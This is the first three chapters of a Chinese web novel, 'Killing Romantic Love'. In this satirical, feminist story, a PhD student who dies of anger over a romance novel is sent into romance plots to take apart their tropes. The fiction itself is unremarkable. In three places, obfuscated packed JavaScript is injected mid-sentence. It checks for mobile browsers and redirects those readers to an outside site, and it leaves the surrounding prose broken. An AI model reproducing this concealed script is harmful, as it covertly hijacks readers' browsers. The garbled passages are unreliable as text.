《杀死浪漫爱》 1. 01 苍啷—— 利刃出鞘,抵在玉颈。 女帝孤身持剑立于皇城高台,她身着登基那日的锦绣华衮,宽大的袖袍在风中猎猎作响。 “陛下!” 群臣疾步而至,却见白刃上反衬着女帝决绝而失魂的面孔。 “请陛下三思啊!” 女帝微一回眸,继而别过头,眺望向皇城北边那片广袤的林海,恍惚中她仿佛置身于金戈铁马的战场,又看见了那个令她魂牵梦萦的强壮身影…… ——“阿离,等桃花开了的时候,我就大胜归来。” 女帝昭离闭上眼眸,两行清泪滴落在长剑,泪珠被刃口劈成两半。清风裹挟着花瓣,吹来一阵桃花疏雨。 她微微启唇,如呓语般低吟:“顾郎,如今桃花犹在,你我却已两处销魂。不过,我会来陪你……” 噗呲一声,鲜血喷洒,女帝向高台下倒去。 缓缓坠落中,桃花漫天飞舞,昭离微微勾起了唇角,因为她知道即便生死也无法将她和顾郎分开了。 【全文完】 ——“什么狗屁结局!” 忠实读者姜婋怒摔手机,狂翻白眼,仰天长啸:“追更了半年结果就这?不是,姐!我的姐!你都当母君了怎么还想死呢?顾将军嘎了,你也不至于殉情吧?哪怕你怒开后宫纵情男宠我都能接受……前99章你从流落宫外的不祥女婴,一步步经历无数坎坷,终于成长为一国母君,说好的为了天下苍生励精图治,怎么最后在你眼里只有顾将军一个人是人吗?万千子民都是草芥吗?你死了曌国怎么办?” 想到这里,姜婋再也无法压抑情绪,打开电脑,怒敲键盘,开始在小说网站写千字长评吐槽剧情。 用户名:在言情小说里阴湿爬行一声吼。 用户等级:LV10。 姜婋,主业计算机科学与技术博士在读(延毕两年),副业小说品鉴大师。 从出生起,姜婋就被动开启了浪漫爱洗脑之旅。 还在牙牙学语时期,陪伴她的就是公主王子的童话故事,在她大脑还未发育完全时,浪漫爱的叙事就刻入了她的脑海,并在日后潜移默化塑造着她。 青春期时,她的桌肚里堆满了各国浪漫爱情小说,还与好友们相互传阅品评。每天放学后她蹲守在CCTV8的海外剧场,迎接一部又一部充满爱情幻想的浪漫韩剧,她剩下的零花钱全部用来租VCD看台湾偶像剧。 还记得《流星花园》里杉菜和道明寺误打误撞差点亲上时,光盘突然卡住了,也许是这张碟片被太多人反复观看而导致磨损。直到很久之后,姜婋才在电脑上看见了这段姗姗来迟的浪漫初吻……即便是晚上,她躺在被窝里,陪她入眠的也是听书软件里的机械音:“霸总一把拉过她,粗暴地将她壁咚在门上,强吻过去……” 学生时代,姜婋背不下来公式和单词,却能记牢每一部小说女男主角的名字,她记不住文综考题里的大事件,却对每部言情小说的名场面如数家珍…… 被这些充斥着浪漫爱的文艺作品灌溉长大的姜婋,在成年后幻想着自己也可以拥有言情剧女主角那样被宠爱的人生,可现实的一系列打击却让她认清真相——言情小说不过是父权制创造的“补偿性止痛药”,为了让女人能够更好地应对一成不变的生活。 就连“爱情”这个词传入中国的最初目的,都是五四一代用来主张改革的武器而已。 一切浪漫爱不过是糖衣炮弹,是让你缴械投降的惯性陷阱。 令你脸红心跳的男主角,根本就是虚假的金漆神像,剥落的金粉之下,藏的全是女主角的让渡与血泪。 自从开了女权主义的天眼,姜婋再阅读这些曾令她怦然心动的言情小说时,却发现如鲠在喉。 那些本来浪漫的桥段却充斥着性骚扰、暴力、PUA、权力的不对等,以及对女主角的严重不尊重,那些浪漫的情话也变得油腻恶心,甚至男主们都变得面容可怖,什么邪魅一笑、眉毛一挑、双腮紧咬、真的够了…… 面部痉挛的话请去看医生,OK? 不过,文化对人的塑造既潜移默化又根深蒂固,女权意识的觉醒并没有让姜婋彻底戒断言情小说,而是在选品时变得更加慎重。 比如这本《弑皇女帝》,打着“大女主”、“女强”的标签成功吸引了她的注意。 开篇确实还算正常,直到男主出现了…… 姜婋咬着牙,把键盘敲得噼啪响:“以前的女主角可以单骑屠龙,哪怕身处险境也会想尽办法死里逃生,但现在她只等待男主从天而降;以前很磕女主和媚皇后的CP,结果皇后竟然也爱上了男主?我看这故事别叫《弑皇女帝》了,干脆叫《顾将军的赘婿之路》算了!” 她越写越激动,从吐槽这一本书渐渐演变为对整个言情频道的控诉—— “毛尖老师说,影视剧就是全中国最封建的地方。依我看,言情频道更封建。有了言情的旗号,法律和正义也能为男主角让步。 “古代题材反而成了男主角滥杀无辜,漠视法律的通行证,男主随便囚禁女主,肆意控制她的人身自由,哪怕屠了女主角全家,最后也可以为他洗白。说是因为爱…… “什么是爱?在言情小说里没经过女主角性同意就发生关系,这就是爱?女主角遭受性暴力、性骚扰,反而成为了男主有魅力的象征,这就是爱?有一些题材,美其名曰追妻火葬场,实则是为虐女而虐的集大成者。还有破镜重圆,不尽生父责任的男主多年后一句对不起,我爱你,然后强吻你,就可以化解一切。请问有人考虑过女主的人生吗? “没有!在言情故事里,女主痛不欲生迸溅的血泪,是男主胸口上装饰的红玫瑰,女主虐身虐心死后的白色灵幡,是男主追妻火葬场的勋章!不要再用言情打幌子,做伪装,这根本就不是爱! “我翻遍浪漫爱的故事,只看到了三个字——吃女人。” 姜婋逐渐情绪上头,心跳加速,手指将键盘敲出了火星子! “在浪漫爱故事里,女主不再是人,而是客体化的镜子,只为映衬出男主高大威猛的形象,但可惜这是一面扭曲的哈哈镜,男主的‘强’只建立在女主的‘弱’之上。 “更可怕的是,从幼年时期,我们女性就经历了童话故事的洗脑,将主体自降为客体。我们在不知情时,就已经失去了‘我本位’的思考方式,被潜移默化塑造成美丽顺从,成为毫无攻击性的完美受害者,等待那位‘王子’的救赎,无论你是被苹果毒死的白雪公主,还是因诅咒而沉睡的辛德瑞拉…… “我一度怀疑童话里的王子是不是有恋尸癖,为什么他爱上的是或死去或沉睡的毫无人格和生命力的公主? “这些公主她们美丽、纯真、被迫做家务……她们从不思考、行动、反抗、挑战或质疑。她们唯一做的就是阉割了自我,等待王子的救赎,然后如每一个童话故事的结尾所说:‘王子和公主从此幸福的生活在一起……’ “如果说恶龙囚禁了女主的身体,那么王子吞噬了女主的人格。 “若是我来执笔,我会和公主携手消灭恶龙,以及杀死王子!” 姜婋洋洋洒洒写了一千多字的声泪控诉,“啪”地按下发布键的瞬间,她突然手指一抽,心脏麻痹,晕倒在电脑前。 确切的说,是猝死了。 看言情小说被气死的史上第一人。 逝者姜婋,因熬夜看小说,外加情绪激动,导致心脏骤停,享年30岁。 与此同时,她的脑中传来一个充满金属质感的机械女声。 “您好,宿主姜婋,欢迎进入杀死浪漫爱系统。” 姜婋猛地吸了口气,睁开眼睛,面前仿佛有个360度环形屏幕不断显示着机械女声的音频波动,宛如海水般一浪一浪涌进脑海。 “您将在本系统中将穿越到各个言情故事,扮演不同角色,在完成指定任务后,您将改写现实中的死亡结局。” “等等——” 姜婋愣住:“……我,我死了?” 系统:“是的。” “可是我才30岁!” 系统:“死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611987|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡不分年纪。” 姜婋:“我是怎么死的?” 系统:“熬夜肝论文做实验,外加被言情小说气死。” 姜婋瘫倒在地,捂脸哭诉:“果然言情小说害死人啊……我还这么年轻,博士毕业论文还没写完呢,不能就这么不明不白的死了!” 她很快反应过来:“你刚说我能改变现实中死亡的结局?” 系统:“是的。” 姜婋满脸狐疑:“真的假的?我系统文看得少,你可别诓我……” 系统女声冷笑一声:“您也可以选择拒绝,然后直接去死。” 姜婋欲哭无泪,虽然自己写毕业论文写到生不如死,但和被言情小说气死想比,当然选择前者。 事已至此,她问道:“那我需要完成什么任务?” 系统:“宿主姜婋,你的任务是穿进言情小说,杀死浪漫爱,消灭男主角……” “太好了!” 姜婋摩拳擦掌,眼射凶光,心想自己早就看言情小说里的男主角们不顺眼了,这次还被他们气死,正好可以前仇旧恨一并清算! 系统:“宿主请注意,本系统不是杀戮游戏。任务的关键不在于杀死某个男主角,而是杀死‘浪漫爱’——这个被父权制塑造的梦幻泡影。” “啊?” 系统解释:“就算你杀掉某个男主角,也会有千千万万个新的男主角,你要面对的是一场叙事规则的反叛,挑战浪漫爱的底层法则——女主的命运必须围绕爱情展开,男主角必须被塑造成唯一归宿。” “哦,原来如此。” 系统:“所以,你的任务是穿进言情小说,解构浪漫爱叙事,打碎男主角的金漆神像,让女主角生发出自己的人生之路。每次通关成功后,你将会获得一种‘力量’,当集齐全部‘力量’后,就可以改写现实中的死亡结局。” “没问题!”姜婋又问:“可……什么是‘力量’?” 系统:“不知道。” “那我有什么技能之类的吗?” 系统:“不具备。” 姜婋有点无语:“那我怎么完成任务啊?” 系统:“不清楚。” 姜婋要被这个“三不”系统气哽住了:“你这系统怎么跟我看过的系统文不一样啊,别的系统都有经验值、技能、武器什么的。” 系统:“那是男频小说升级打怪的套路,杀死浪漫爱系统不需要这些。” “好吧……” 系统:“宿主,接下来将对你进行新手教学。” 姜婋一挥手:“不用了,直接开杀吧!” 系统:“宿主姜婋,你还有十秒钟就将进入第一个副本关卡,准备好了吗?” 姜婋目光炯炯,心道,这么多年,自己被那些言情小说折磨够了! 什么NPD(自恋型人格障碍)霸道总裁,什么邪魅魔尊、病娇王爷、犬系奶狗、活阎罗将军…… 那些三世虐恋、破镜重圆、追妻火葬的老梗套路,不过都是女主角前进路上的绊脚石! 姜婋有信心,她一定可以带领女主角们在故事里生发出新的可能性! ——“我准备好了。” 【作者小啰嗦】 姜婋(xiāo),母老虎咆哮之意,也指勇猛、聪慧。 “女帝”一词是深受父权话语塑造的“男性化女性”称谓,开头引用为姜婋看的小说《弑皇女帝》,后面会有副本专门解构这个故事,更会通过“语义收复再定义”的方式,解构女帝这一词汇。 如果这个词令你不适,不好意思,后续篇章会专门杀死“女帝”一词,别急。 姜婋吐槽的资料参考: 《Woman Hating》[美] Andrea Dworkin 《阅读浪漫小说》[美]珍妮斯?A.拉德威 《浮出历史地表》孟悦、戴锦华 《心灵革命:现代中国的爱情谱系》[美]李海燕 《一间属于自己的房间》[英]弗吉尼亚·伍尔夫 2. 02 “我不同意!” 随着一嗓子掷地有声的怒吼,姜婋睁开了眼睛。 面前的光太过刺目,她一时难以适应,只隐约看出这是个灯光璀璨的宴会厅。 姜婋用手遮住了眼睛,小声问系统:“刚才谁喊的啊,嗓门这么大?” 系统:“你。” “我?” 系统:“准确地说,是你现在这个宿主的原本角色。” 姜婋着急道:“杀死系统,你还没跟我同步这部小说的剧情呢!” 系统:“你先等会儿……网卡了。” 姜婋欲哭无泪:“什么?” 系统:“这个文学网太久没有人维护了,404是常有的事。” 姜婋:“……” “白潇潇,你凭什么不同意?” “白潇潇——” 系统提示道:“宿主,男主叫你呢。” “啊?” 姜婋虽然生气这个坑人系统,但还是闻声移开了手,只见正前方站着一个男人。 她这才发现,整个宴会厅水晶吊灯的光芒仿佛都自动聚焦在男主的身上,还真是“闪耀”登场呢。 想必读者们也看过不少言情小说,男主的长相跟气质就不赘述了。 【此处省略500字男主外貌描写】 男主高声质问:“你凭什么不同意夏星澜成为我的女朋友?” 听见这个名字,姜婋脑中“呲”地燃起一个小火苗,点燃了记忆的引线。十多年前,当时自己还在上高中吧,好像确实看过一部霸总小说,里面的女主角就叫夏星澜。 正当她还在回忆这部小说的情节时,男主角已经走下高台,朝她而来。 男主气场过于强大,以至于两侧宾客都自动避让,走到中途时,突然一个女人上前半步,试图拦了他一下。姜婋注意到,她没有穿礼服,而是酒店的工作服。 就在那女人转过身,姜婋马上要看清她的脸时,男主的身形却挡在了面前,连同眼前的光也一并挡住了。 男主刀削斧凿的下颚线微微扬起,他掀起眼皮,审视的目光从上至下,掠过她的身形,仿佛在看一件虽精致却毫无吸引力的摆设,以至于嘴角勾起一丝讥讽的弧度。 【此处省略500字男主神态描写】 姜婋在这些描述中只看见了四个字——男性凝视。 男主是观看的主体,而自己是被观看的对象。 这凝视不仅仅是指物理的观看,更将自己“物化”为男性欲望的对象。这一刻,我仿佛不再是我,而是大腿、胸部、腰线,任何能满足男性欲望的器官。 这感觉令姜婋非常不爽。 最终,男主的目光锁定了姜婋的脚,问道:“我送夏星澜的鞋为什么穿在你的脚上?” 姜婋低头一瞧,自己还真穿着一双璀璨夺目的水晶鞋。 “我说怎么觉得脚踩在刀刃上,原来是因为这双鞋啊!” 姜婋说罢,直接脱下鞋子,扔给男主,“还你——” 这双红底水晶鞋被腾空抛起,在灯光下折射出炫目的光晕。 与此同时,脑中响起系统的声音。 系统:“小说已加载完成。” 一瞬间,时间仿佛被无形之手拉长,一切都好似被按下暂停。 所有人僵在原地,高脚杯中流动的红酒骤然凝固,水晶鞋定格在半空,姜婋的四周迅速暗下,周遭的一切又变成了她心流世界中360度的环形屏幕。 只听系统介绍:“宿主,你进入的第一个副本是和谐文学城2009年的金榜小说《灰姑娘的逆袭》。” “我看过这个小说!” 姜婋终于回忆起来,“当时特别流行逆袭型女主人设,女主角一般都是天真善良的小白花,男主角就是霸道冷酷的大暴君,不过所谓的‘逆袭’到头来不过是嫁入豪门……哎,那时我年少无知,沉迷于霸总浪漫爱,还看了好多霸总偶像剧,结果长大后才意识到,道明寺霸凌同学,单均昊耍流氓强吻女主……至于茼蒿,根本就不存在好吗!” 系统:“宿主,本系统挑选的言情小说,都是你看过并且留言超过1000字的文本。” 姜婋尴尬挠头:“1000字!我现在写论文都憋不出来这么多字,以前竟然为了霸总小说犯花痴写这么多不堪回首的黑历史……” 系统介绍:“《灰姑娘的逆袭》这本小说讲述了豪门长子凌昊天归国后,接下挽救家族酒店罗曼蒂克庄园的任务,他以顾客的身份入住酒店,在隐藏身份考察酒店经营时,对酒店前厅经理夏星澜一见钟情。就在二人即将确认心意时,迎来了罗曼蒂克庄园的25周年庆典——” “等会儿!” 姜婋脑子有点晕:“你先别长篇大论,告诉我,我空降的这个场景到底是什么情况?” 系统:“好,开启当前关键情节点回溯。” 霎时间,整本书的文字仿佛被无形之力牵引,纷纷腾空而起,二维铅字如跳动的小人彼此串联,化作流光般的画面,在环形屏幕上疾速闪现。 画面底部,书中文字宛如风中翻飞的纸页,以惊人的速度掠过。 姜婋震惊:“还能全景呈现呢?” 话音未落,闪过的画面戛然而止,环形屏幕定格在一双高跟鞋叩击地面的特写,紧接着画面上移,是一个女人的背影,她蹑手蹑脚地推开房门,而桌上的对讲机不停传来急促的呼叫声—— “夏经理,宴会厅的彩带装置等待你的确认。” “夏经理,前厅有人投诉宴会厅的音响太吵了。” “……” 滋滋的电流声夹杂着不停地呼叫声,但女人置若罔闻,她背对着画面,自顾自地在房间里翻找什么,终于她在柜子里翻到了一双水晶鞋。 女人兴冲冲换上鞋,转过身来,这女人竟然和姜婋长得一模一样! 姜婋诧然:“她怎么和我长得一样?” 系统:“宿主,这是你在这个副本中的原主人物,白潇潇。” “我知道,可是为什么我俩共用一张脸啊?” 系统:“这是为了让宿主更融入剧情,拥有更真实的体验。每一个副本的原主,都将替换为你的样子。” 姜婋翻了个白眼:“还真是够沉浸的。” 屏幕中,对讲机还在不断呼叫夏经理,白潇潇不厌其烦地拿起对讲机,直接扔进了卫生间的马桶里,嘴角浮起了一丝阴森的笑容,然后转身离开。 屏幕前,姜婋一激灵,“我还从来没在自己的脸上见过这种笑容,怪瘆人的,所以我在这个故事里扮演的就是搞破坏的女二号喽?” 系统:“宿主,你的原主角色白潇潇,严格来说算不上女二号,在小说中仅登场8章。内容梗概为,在凌昊天和夏星澜还未确认心意时,凌昊天的青梅竹马,刁蛮千金白潇潇突然来酒店度假。但这一切都是男主母亲褚明珠董事长的安排,她期望白潇潇的出现能将儿子这段感情扼杀在摇篮,并且两家联姻后,白家入股也可以扭转酒店的亏损。在小说中,白潇潇的出现给男女主的感情造成了阻碍,但最终让男女主深情告白,确认心意。” 姜婋点头:“我明白了,我就是男女主感情路上那个搅屎棍。” “宿主,你可以这样理解。” 姜婋被系统呛到:“你给我看了原主去女主休息室偷鞋,那女主角夏星澜在哪里啊?” 屏幕中,画面扫过不停旋转的玻璃大门,穿过宾客络绎不绝的前厅,宴会厅帷幕上绣着“罗曼蒂克庄园酒店25周年庆典”,直到场景来到忙碌的后厨。 刀刃与案板碰撞的声音此起彼伏,锅铲翻飞间,灶台火光四溅。 后厨的角落,一只手正握着裱花袋,看得出手的主人有些紧张,但她依然非常平稳地用巧克力酱写下了精致的英文字体“The Romantic Hotel 25th Anniversary”。 直到写完之后,这双手的主人才终于松了一口气。 “夏经理,还好有你!不然庆典蛋糕的字可怎么办?” 旁边的糕点师长舒一口气,捂着缠着绷带的手腕,满脸愧疚:“都怪我,一不小心手还被新烤箱给烫了……” 夏星澜放下裱花袋,转过身朝糕点师展颜一笑:“别急,有我在呢,一切都会顺利的。” 糕点师感激地看着她,一旁的厨师忍不住笑道:“不愧是咱们‘24h on call’的夏经理,哪个部门有急事,你都能顶上。” “哪有那么夸张,我不过在这家酒店待了五年,每个岗位都轮岗过。而且我妈妈开过蛋糕店,我学过一点。” 话音刚落,副主厨便拎着一箱冒着冷气的海鲜走进厨房,看见夏星澜一愣:“小夏,你怎么在这里?外面都要忙疯了,找你的对讲机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611988|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都打到我这来了。” “糟了,对讲机还在休息室。” 夏星澜这才反应过来,赶紧跑出后厨,冲上了货用电梯,可是电梯里迅速涌入一群工作人员,把她挤到了最里面的角落。 站在门口的两名员工揉着酸痛的肩膀,等电梯门合上,随口聊起了八卦。 “你听说了吗?昊天少爷要在今天宣布跟白小姐的订婚。” “什么?凌总不是跟前厅部的夏经理走得挺近吗?” “那还能当真?凌总和谁结婚,还不是褚董事长说了算。” 电梯“叮”的一声到达楼层,前面的人纷纷走出,唯独夏星澜依然呆站在角落,等回过神来,她才发现竟坐过了楼层。 屏幕外,姜婋听到“少爷”两个字,眉头拧成一坨:“好久没听见这么封建的词汇了,人民早就当家作主了,怎么还有人自甘为奴呢?” 系统:“宿主,这是一本2009年的言情小说,当时流行这个词。” 姜婋反问:“整个酒店的人都在为了25周年庆忙碌,男主角在哪呢?” 话音刚落,环形屏幕上传来一阵呼啸的震颤。 天际骤然被划开,一架直升飞机穿云而至,径直停在酒店顶楼的停机坪。 舱门滑开,一道高大的身影迈出。 男人长腿稳稳落地,高定皮鞋一尘不染。风衣的衣角在猎猎风声中翻飞,然而,他精致的发型却纹丝不乱,宛如雕塑般完美无缺。 “等等——” 姜婋狂翻白眼,“为啥每次男主登场,形容词都能堆成山?” 画面里,凌昊天戴着墨镜,从顶楼开始一路步行而下,每经过一层,酒店工作人员便立刻停下手头的工作,恭敬弯腰致意。 “凌总。” 凌昊天神色冷峻,步履沉稳,最终搭乘专属电梯,修长的手指不疾不徐地从口袋里掏出手机——翻盖的。 他轻轻一弹,手机盖“啪”地弹开,随即抽出一支电子笔,在屏幕上写、短、信。 看到这一切,姜婋爆笑,“好土!这霸总怎么还用翻盖手机?” 系统一本正经:“宿主,这是2009年诺基亚的最新款,一机难求。” 姜婋鼻腔哼了一声:“所以说霸总是个限定词汇,看跟谁比咯。这么算起来,秦始皇还没吹过空调,没吃过辣条,还没我过的自在呢!” 就在这时,屏幕上,凌昊天的手机铃声响起。熟悉的诺基亚经典旋律,在空气中格外悠扬。 他摘下墨镜,接起电话。 不知对方说了什么,他的表情愈发冷峻,眉头紧锁,声音低沉而充满压迫感:“既然您已经把酒店交给我,就不该怀疑自己儿子的能力。一年之内,我会让酒店扭亏为盈。我答应的事,自然会做到。而您,也不要再来束缚我。” 他微一顿,眸光幽深:“毕竟,我要做的事,没有人能阻拦。” “啪!” 他果断合上手机盖,动作干脆利落,气场全开。 姜婋笑喷:“哈哈哈哈!这是什么幼稚的霸总发言,男主说话一定要用这种活人微死的气泡音吗?” 系统:“宿主,请严肃。” 姜婋轻咳:“哦,那杀死系统,你要不快进一下。” 画面如书页般簌簌翻过,灯光亮起,音乐奏响,嘉宾入场,觥筹交错,气氛愈加热烈。 直到凌昊天走上宴会厅的发言台,端起酒杯。 姜婋:“停——就从这儿开始。” 凌昊天调整话筒,滋滋的电流声响在整个宴会厅:“我代表凌氏集团,感谢各位贵宾的到来。” 台下掌声响起,夏星澜在宴会厅暗处的控制台观察灯光,统筹一切。 “罗曼蒂克庄园酒店,是我父母定情的地方……” 凌昊天说到此处微微一顿,“这也正是酒店名字的由来。25年前,这里只是一片未被开发的渔村,但如今罗曼蒂克庄园已经成为世界一流的五星级酒店。这离不开每一位员工的付出。在此,我要感谢这段时间对我来说最重要的人——夏星澜经理。” 话音未落,在所有人注视中,夏星澜瞬间僵直在原地。 凌昊天带着不容置疑的语气道:“在这个特别的日子,我想告诉大家——夏星澜是我的女人!” 在众人的惊呼声中,台下的白潇潇猛地站起,愤怒吼道:“我不同意!” 3. 03 同一时间,系统:“宿主,《灰姑娘的逆袭》副本读档已完成。” 刹那间,姜婋面前的360度环形屏幕消失,她重新站在灯光璀璨的宴会厅中心。 周围的一切动了起来,高脚杯里红酒瞬间流淌,水晶鞋划过空中,如抛物线般砸向凌昊天,精准地在他雪白的西装上留下了清晰的印记。 凌昊天眉头一皱,拍了拍胸前的污渍,冷冷问道:“你凭什么不同意?” 又是该死的气泡音! 姜婋懒得理他,目光绕过男主,最终落在站在一旁的夏星澜身上。 她依旧僵立原地,脸上写满纠结和尴尬,似乎在犹豫此刻要以“夏经理”的身份,还是“凌昊天女人”的身份,来迅速解决当下的乱局。 但夏星澜的脸上并没有收获爱情的甜蜜,而是震惊、恐惧,难以自处。 姜婋收回视线,看着面前的凌昊天:“我同不同意或许没那么重要,但是她的意见,你有问过吗?” 她指向了女主角,夏星澜微微一怔。 姜婋看向面前的凌昊天:“你知不知道,你强加的‘喜欢’,对夏星澜来说是一种压力。在罗曼蒂克庄园,你是老板,她是员工,你们的权利完全不对等,你越是示好,夏经理越是为难。如果你没有征求她的同意,违背她的主观意愿,那你刚才的行为就是职场性骚扰。” “骚扰?”凌昊天冷哼一笑:“你在胡说什么?” “我在陈述事实。” 姜婋环顾四周:“而且这些职员的意见,你有问过吗?你今天这么胡来,岂不是让所有人的心血都白费?” 剥削阶层·凌昊天完全不懂她在说什么。 但科研牛马姜婋感同身受,如果自己跑模型的课题组,摊上凌昊天这种“资本二代”猪队友,她真恨不得把他猪脑子塞进服务器,看看能不能输出点人类基础素养!(辱猪猪了,抱歉,猪猪不剥削,还不发号施令。) 姜婋目光锐利,质问他:“你知道为了今天的25周年庆典,罗曼蒂克庄园的员工准备了多久吗?大家付出的所有心血,都是为了重新提升酒店口碑,挽回亏损,这关乎于每一个员工的饭碗,以及她们背后的家庭。” “今天到场的每一位来宾,是为了体验罗曼蒂克庄园顶级服务的,而不是来见证你霸道爱情的闹剧。你刚才的行为既可笑又不专业,员工们会觉得自己的老板,是个不分场合胡来的自恋狂,每一位来宾都会认为这家酒店的总裁,是个利用职权性骚扰员工的NPD!” 凌昊天从未被人这样羞辱,气得面如死灰:“你说什么N,什么PD?你再捣乱,我就让保安把你带走!” “怎么?你生气了?难不成一声令下,还要让所有人为你爱情陪葬?” “白潇潇,因为我没有跟你订婚,你就开始发疯了吗?” 姜婋嗤笑一声,带着关爱智障的眼神看向男主:“我说了半天,你怎么还是不明白,你脑子里除了强制爱就没有别的吗?” “你——” 见凌昊天被气的无力反驳,她直接推开男主,走到夏星澜面前,朝她伸出了手。 夏星澜眨巴着大眼睛,有些错愕。 姜婋顷身,用只有两个人能听见的声音说:“我看得出来,你也不想待在这里,对吧?我带你走。” 夏星澜几乎是下意识地伸出了手。 就在两人手指相触的刹那,姜婋一个激灵。 在此之前,女主角不过是她MP4文档中,无数铅字构建的虚拟人物,但此刻,她冰凉的手指碰到自己温暖的掌心,犹如正六面体的小冰块“啪嗒”一声融进温水里,我们是一体的。 我可以感受你的无措,你也可以体会我的愤怒,因为我们都是X染色体创造的神迹。 姜婋握紧她的手,就在她准备转身的时候,凌昊天猛地拉住夏星澜的另外一只手,两个人各据一边,这架势好像在抢夺女主。 姜婋挑了挑眉,心想:我健身这么久,硬拉80公斤,就是为了这一刻! 她默默调整重心,收紧核心,手臂蓄力,深吸一口气—— 哎?咋不动呢? 原来问题出在这身紧身束腰连衣裙上! 这裙子太紧了,压迫了胸腹腔的器官,让她无法深呼吸,只能进行浅呼吸,根本无法使出全力。 不管了! 姜婋手臂蓄劲,肱二头肌紧绷,小臂青筋突起,终于在爆发力下,从男主手中拉走了女主。 看着凌昊天惊骇的表情,姜婋甩给他一个轻蔑的眼神。 她开心地光着脚拉着女主奔跑起来,像两只重获自由的小鹿,在宾客中横冲直撞。 就在这时,宴会厅大门从外打开,一个以罗曼蒂克庄园为原型的巨形蛋糕在工作人员的簇拥下推来。 “小心,让开!” 可究竟是让巨形蛋糕避让,还是让蓄满全力的姜婋避让呢? 在杀死系统看来,这或许不亚于电车难题…… 于是,宛如飞毛腿导弹的姜婋,在众人的惊呼声中,直接扎进了蛋糕塔里。 而夏星澜失去平衡之际,被身后的凌昊天拉住,借力跌入他的怀中。 旋转,跳跃,女主闭着眼…… 炫目的水晶灯又重新聚焦在男女主身上,突然间,彩带装置被启动,无数鎏金纸片如碎星从天而降,就连宴会厅里含苞待放的戴安娜玫瑰,都朝着男女主瞬间绽放。 夏星澜想要起身,却发现自己的长发缠绕在了凌昊天胸前的贝母纽扣上。她抬起头,闪烁的目光对上凌昊天坚定的眼神。 二人四目对视,这一刻,仿佛整个世界只剩下彼此,所有的纷扰都已消失不见。 从蛋糕里艰难探出头的姜婋看见这一幕,她舔了一下嘴角的巧克力酱,终于领悟了言情世界的法则。 「在这里,万有引力定律失效,女主永远站不稳,总能跌在男主怀里,因为男主是唯一引力。」 「在这里,《民法典》失效,男主即便对女主性骚扰,也是浪漫爱的注脚。」 「在这里,物候学、生态学、气象学……纷纷失去效用,男主能决定花开花落、灯亮灯灭,上一秒晴天,下一秒闪电。」 而姜婋要对抗的不仅仅是男主角,更是这个爱男的言情世界所构建的所有法则。 逆光中,凌昊天睥睨而视,乜了姜婋一眼,仿佛在回击方才的嘲讽,旋即拉着夏星澜转身要走。 夏星澜明显挣扎了一下,似乎是想留下来帮助姜婋,但最终还是被凌昊天强硬带走。 随着男女主退场,宴会厅的灯光仿佛也随之黯淡,宾客们因这场闹剧纷纷离开,偌大的宴会厅只剩下姜婋一个人,连光线都变得昏暗。 姜婋爬起来,狠狠骂了一句:“口口口口!” 系统:“宿主,请不要说脏话。” 姜婋:“口口口口口口!” 系统:“……用英文骂也不行。” 姜婋气不过:“哪有那么多规矩啊?怎么男主角就可以为所欲为,我个小配角骂男主都要被和谐!” 系统:“毕竟这是言情世界。” 姜婋抹了一把脸上的蛋糕:“不过这么一摔,我倒是想起这段情节了。原著小说里是白潇潇偷穿夏星澜那双水晶鞋,因为不合脚,跌进了蛋糕里。我当时看这段的时候,还觉得很爽呢。看来言情世界还有一条法则——” 她顿了顿,声音仿佛在这一刻的下方画了一条线:“惩罚恶毒女配的时候,不需要有心理负担,读者大可将种种不满的情绪尽数发泄到恶毒女配身上。将女性的愤怒疏导向坏女人,而不去向上追问,这就是父权制的常规操作。” 系统:“宿主,提醒你一下。你刚刚的行为已经让女主对你的好感度急剧下降,根据数据统计,你通过这一副本的成功概率下降10%。” 姜婋瞬间炸了:“为什么?” “因为你大闹宴会厅,前厅经理夏星澜也将受到责罚。” “杀死系统,你不讲武德!” 姜婋叉腰道:“哪有你这样不顾前后就把我空降到某个情节的。我连哪本书,我是谁都不知道,怎么应对?” 系统:“宿主,空降到哪个场景,并不是我能决定的,而是取决于女主角。你只会空降到女主遭受到人生重大转折,或心态强烈变化的关键情节。我们杀死浪漫爱系统,全方位以女主角为核心。一切都是女主角的指引,并不代表本系统个人意愿。” “即便如此,你这个系统的网也太卡了吧?我都登场了,你小说还没加载完……” “宿主,这更与本系统无关,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611989|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这本小说连载的网站一直没有做网页维护,所以经常404。不过请宿主放心,这本小说已经加载完毕,不会再出现卡顿。” “马后炮!” 